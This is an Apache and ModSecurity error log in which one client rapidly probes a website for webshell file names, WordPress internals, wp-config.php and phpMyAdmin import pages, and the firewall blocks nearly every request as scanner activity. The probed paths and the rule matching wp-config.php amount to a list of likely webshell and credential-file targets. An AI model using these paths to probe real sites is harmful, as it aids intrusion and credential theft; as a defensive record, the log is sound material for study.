[Wed Jan 14 05:07:33.613288 2026] [:error] [pid 24603:tid 24677] [client 4.230.47.124:7845] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/crouter.php"] [unique_id "aWa0FZPBJGFGN8VT8_ShowAAAIw"]
[Wed Jan 14 05:07:33.886483 2026] [:error] [pid 58868:tid 58890] [client 4.230.47.124:7085] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/composer.php"] [unique_id "aWa0FU67yj8PZAmdsblpLgAAAVQ"]
[Wed Jan 14 05:07:34.161028 2026] [:error] [pid 58901:tid 58932] [client 4.230.47.124:7071] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/composer.php"] [unique_id "aWa0Fr3kQSrcqIWtO0okPQAAAcI"]
[Wed Jan 14 05:07:34.432479 2026] [:error] [pid 58699:tid 58725] [client 4.230.47.124:6977] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/composer.php"] [unique_id "aWa0FuYdPBtkMLK2SdqohgAAARc"]
[Wed Jan 14 05:07:34.711732 2026] [:error] [pid 58977:tid 58991] [client 4.230.47.124:7128] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/composer.php"] [unique_id "aWa0FrlT6ggZLRx9QvAAPgAAAgs"]
[Wed Jan 14 05:07:34.991779 2026] [:error] [pid 24601:tid 24625] [client 4.230.47.124:7844] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/COPYRIGHT.php"] [unique_id "aWa0FkCtWkZ9rlKW5n-BzwAAAA8"]
[Wed Jan 14 05:07:35.262050 2026] [:error] [pid 58977:tid 58982] [client 4.230.47.124:7826] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/COPYRIGHT.php"] [unique_id "aWa0F7lT6ggZLRx9QvAAQAAAAgI"]
[Wed Jan 14 05:07:35.537930 2026] [:error] [pid 58977:tid 58988] [client 4.230.47.124:7849] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/COPYRIGHT.php"] [unique_id "aWa0F7lT6ggZLRx9QvAAQQAAAgg"]
[Wed Jan 14 05:07:35.811640 2026] [:error] [pid 24601:tid 24630] [client 4.230.47.124:7905] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/COPYRIGHT.php"] [unique_id "aWa0F0CtWkZ9rlKW5n-B0AAAABQ"]
[Wed Jan 14 05:07:36.080849 2026] [:error] [pid 24601:tid 24620] [client 4.230.47.124:7064] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/settingsm.php"] [unique_id "aWa0GECtWkZ9rlKW5n-B0QAAAAo"]
[Wed Jan 14 05:07:36.354739 2026] [:error] [pid 58899:tid 58918] [client 4.230.47.124:7062] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/settingsm.php"] [unique_id "aWa0GAWViGQd5R44tHFyTwAAAY8"]
[Wed Jan 14 05:07:36.629329 2026] [:error] [pid 58699:tid 58723] [client 4.230.47.124:7040] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/settingsm.php"] [unique_id "aWa0GOYdPBtkMLK2SdqohwAAARU"]
[Wed Jan 14 05:07:36.897208 2026] [:error] [pid 58699:tid 58717] [client 4.230.47.124:7165] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/settingsm.php"] [unique_id "aWa0GOYdPBtkMLK2SdqoiQAAAQ8"]
[Wed Jan 14 05:07:37.177046 2026] [:error] [pid 24603:tid 24679] [client 4.230.47.124:7130] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/class-wp-upgrader-skin.php"] [unique_id "aWa0GZPBJGFGN8VT8_ShqQAAAI4"]
[Wed Jan 14 05:07:37.447707 2026] [:error] [pid 24601:tid 24614] [client 4.230.47.124:7061] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/class-wp-upgrader-skin.php"] [unique_id "aWa0GUCtWkZ9rlKW5n-B0gAAAAQ"]
[Wed Jan 14 05:07:37.724824 2026] [:error] [pid 24603:tid 24685] [client 4.230.47.124:7158] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/class-wp-upgrader-skin.php"] [unique_id "aWa0GZPBJGFGN8VT8_ShqgAAAJQ"]
[Wed Jan 14 05:07:38.001760 2026] [:error] [pid 58977:tid 59000] [client 4.230.47.124:7131] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/class-wp-upgrader-skin.php"] [unique_id "aWa0GrlT6ggZLRx9QvAAQgAAAhQ"]
[Wed Jan 14 05:07:38.303612 2026] [:error] [pid 24603:tid 24668] [client 4.230.47.124:7146] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanceros.es/wp-settings.php"] [unique_id "aWa0GpPBJGFGN8VT8_ShqwAAAIM"]
[Wed Jan 14 05:07:38.588554 2026] [:error] [pid 24603:tid 24669] [client 4.230.47.124:7068] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanceros.es/wp-settings.php"] [unique_id "aWa0GpPBJGFGN8VT8_ShrAAAAIQ"]
[Wed Jan 14 05:07:38.859502 2026] [:error] [pid 24603:tid 24670] [client 4.230.47.124:7067] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanceros.es/wp-settings.php"] [unique_id "aWa0GpPBJGFGN8VT8_ShrgAAAIU"]
[Wed Jan 14 05:07:39.131507 2026] [:error] [pid 24603:tid 24687] [client 4.230.47.124:7019] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanceros.es/wp-settings.php"] [unique_id "aWa0G5PBJGFGN8VT8_ShsAAAAJY"]
[Wed Jan 14 05:07:39.407280 2026] [:error] [pid 58699:tid 58713] [client 4.230.47.124:7051] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lanceros.es/wp-config.php"] [unique_id "aWa0G-YdPBtkMLK2SdqojgAAAQs"]
[Wed Jan 14 05:07:39.676212 2026] [:error] [pid 58699:tid 58703] [client 4.230.47.124:7857] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ABSPATHwp-includes/load.php"] [unique_id "aWa0G-YdPBtkMLK2SdqokAAAAQE"]
[Wed Jan 14 05:07:39.945115 2026] [:error] [pid 58699:tid 58702] [client 4.230.47.124:7069] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ABSPATHwp-includes/load.php"] [unique_id "aWa0G-YdPBtkMLK2SdqokQAAAQA"]
[Wed Jan 14 05:07:40.217066 2026] [:error] [pid 58977:tid 58980] [client 4.230.47.124:7893] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ABSPATHwp-includes/load.php"] [unique_id "aWa0HLlT6ggZLRx9QvAAQwAAAgA"]
[Wed Jan 14 05:07:40.488136 2026] [:error] [pid 58977:tid 59001] [client 4.230.47.124:7094] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanceros.es/wp-admin/includes/update-core.php"] [unique_id "aWa0HLlT6ggZLRx9QvAARAAAAhU"]
[Wed Jan 14 05:07:40.763913 2026] [:error] [pid 58977:tid 58984] [client 4.230.47.124:6990] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanceros.es/wp-admin/includes/update-core.php"] [unique_id "aWa0HLlT6ggZLRx9QvAARQAAAgQ"]
[Wed Jan 14 05:07:41.039262 2026] [:error] [pid 58977:tid 58996] [client 4.230.47.124:7102] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanceros.es/wp-admin/includes/update-core.php"] [unique_id "aWa0HblT6ggZLRx9QvAARgAAAhA"]
[Wed Jan 14 05:07:41.309403 2026] [:error] [pid 24601:tid 24610] [client 4.230.47.124:7106] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanceros.es/wp-admin/includes/update-core.php"] [unique_id "aWa0HUCtWkZ9rlKW5n-B0wAAAAA"]
[Wed Jan 14 05:07:41.578606 2026] [:error] [pid 24710:tid 24731] [client 4.230.47.124:7135] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentyfourteen/index.php"] [unique_id "aWa0HWXBo5bEhDEEhs1f3wAAANM"]
[Wed Jan 14 05:07:41.867874 2026] [:error] [pid 58977:tid 58995] [client 4.230.47.124:7073] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentyfourteen/index.php"] [unique_id "aWa0HblT6ggZLRx9QvAARwAAAg8"]
[Wed Jan 14 05:07:42.146345 2026] [:error] [pid 58977:tid 58987] [client 4.230.47.124:7009] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentyfourteen/index.php"] [unique_id "aWa0HrlT6ggZLRx9QvAASAAAAgc"]
[Wed Jan 14 05:07:42.416630 2026] [:error] [pid 58868:tid 58871] [client 4.230.47.124:7077] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentyfourteen/index.php"] [unique_id "aWa0Hk67yj8PZAmdsblpNgAAAUE"]
[Wed Jan 14 05:07:42.689170 2026] [:error] [pid 58901:tid 58941] [client 4.230.47.124:7079] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentyfourteen/sidebar.php"] [unique_id "aWa0Hr3kQSrcqIWtO0okPgAAAcs"]
[Wed Jan 14 05:07:42.967833 2026] [:error] [pid 58899:tid 58913] [client 4.230.47.124:7089] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentyfourteen/sidebar.php"] [unique_id "aWa0HgWViGQd5R44tHFyUAAAAYo"]
[Wed Jan 14 05:07:43.237691 2026] [:error] [pid 24710:tid 24729] [client 4.230.47.124:7002] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentyfourteen/sidebar.php"] [unique_id "aWa0H2XBo5bEhDEEhs1f4AAAANE"]
[Wed Jan 14 05:07:43.506640 2026] [:error] [pid 24603:tid 24684] [client 4.230.47.124:7011] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentyfourteen/sidebar.php"] [unique_id "aWa0H5PBJGFGN8VT8_ShswAAAJM"]
[Wed Jan 14 05:07:43.777367 2026] [:error] [pid 24710:tid 24723] [client 4.230.47.124:7088] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentyfourteen/page.php"] [unique_id "aWa0H2XBo5bEhDEEhs1f4QAAAMs"]
[Wed Jan 14 05:07:44.913433 2026] [proxy_fcgi:error] [pid 24602:tid 24647] [client 4.230.47.124:7045] AH01071: Got error 'Primary script unknown'
[Wed Jan 14 05:07:45.054848 2026] [proxy_fcgi:error] [pid 24602:tid 24643] [client 4.230.47.124:7045] AH01071: Got error 'Primary script unknown'
[Wed Jan 14 05:07:45.194109 2026] [proxy_fcgi:error] [pid 24602:tid 24662] [client 4.230.47.124:7045] AH01071: Got error 'Primary script unknown'
[Wed Jan 14 05:07:45.336661 2026] [proxy_fcgi:error] [pid 24602:tid 24661] [client 4.230.47.124:7045] AH01071: Got error 'Primary script unknown'
[Wed Jan 14 05:07:46.922662 2026] [:error] [pid 24602:tid 24638] [client 4.230.47.124:7045] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usr/share/phpmyadmin/server_import.php"] [unique_id "aWa0IkooYwabcb9R9fw3RAAAAEA"]
[Wed Jan 14 05:07:47.199738 2026] [:error] [pid 58977:tid 59004] [client 4.230.47.124:7101] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usr/share/phpmyadmin/server_import.php"] [unique_id "aWa0I7lT6ggZLRx9QvAASQAAAhg"]
[Wed Jan 14 05:07:47.488988 2026] [:error] [pid 58868:tid 58885] [client 4.230.47.124:7862] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usr/share/phpmyadmin/server_import.php"] [unique_id "aWa0I067yj8PZAmdsblpOwAAAU8"]
[Wed Jan 14 05:07:47.764977 2026] [:error] [pid 58977:tid 58981] [client 4.230.47.124:7142] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usr/share/phpmyadmin/server_import.php"] [unique_id "aWa0I7lT6ggZLRx9QvAASgAAAgE"]
[Wed Jan 14 05:07:48.050893 2026] [:error] [pid 59074:tid 59088] [client 4.230.47.124:7049] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/plugins.php"] [unique_id "aWa0JE_KrJ818pzhB3xkVQAAAkw"]
[Wed Jan 14 05:07:48.320912 2026] [:error] [pid 24710:tid 24718] [client 4.230.47.124:7156] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/plugins.php"] [unique_id "aWa0JGXBo5bEhDEEhs1f5QAAAMY"]
[Wed Jan 14 05:07:48.592929 2026] [:error] [pid 24602:tid 24640] [client 4.230.47.124:7084] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/plugins.php"] [unique_id "aWa0JEooYwabcb9R9fw3RgAAAEI"]
[Wed Jan 14 05:07:48.865680 2026] [:error] [pid 58899:tid 58921] [client 4.230.47.124:7025] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/plugins.php"] [unique_id "aWa0JAWViGQd5R44tHFyUgAAAZI"]
[Wed Jan 14 05:07:49.138297 2026] [:error] [pid 24603:tid 24672] [client 4.230.47.124:7097] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bocabravaproperties.com/wp-includes/compat.php"] [unique_id "aWa0JZPBJGFGN8VT8_ShtQAAAIc"]
[Wed Jan 14 05:07:49.417853 2026] [:error] [pid 24603:tid 24679] [client 4.230.47.124:6980] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bocabravaproperties.com/wp-includes/compat.php"] [unique_id "aWa0JZPBJGFGN8VT8_ShtwAAAI4"]
[Wed Jan 14 05:07:49.688769 2026] [:error] [pid 58977:tid 58989] [client 4.230.47.124:7007] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bocabravaproperties.com/wp-includes/compat.php"] [unique_id "aWa0JblT6ggZLRx9QvAASwAAAgk"]
[Wed Jan 14 05:07:49.971369 2026] [:error] [pid 58977:tid 58983] [client 4.230.47.124:7159] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bocabravaproperties.com/wp-includes/compat.php"] [unique_id "aWa0JblT6ggZLRx9QvAATAAAAgM"]
[Wed Jan 14 05:07:50.242314 2026] [:error] [pid 58899:tid 58905] [client 4.230.47.124:6991] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ability-tw.com/wp-settings.php"] [unique_id "aWa0JgWViGQd5R44tHFyUwAAAYI"]
[Wed Jan 14 05:07:50.510765 2026] [:error] [pid 24710:tid 24726] [client 4.230.47.124:6934] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ability-tw.com/wp-settings.php"] [unique_id "aWa0JmXBo5bEhDEEhs1f5gAAAM4"]
[Wed Jan 14 05:07:50.782519 2026] [:error] [pid 24603:tid 24676] [client 4.230.47.124:7022] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ability-tw.com/wp-settings.php"] [unique_id "aWa0JpPBJGFGN8VT8_ShugAAAIs"]
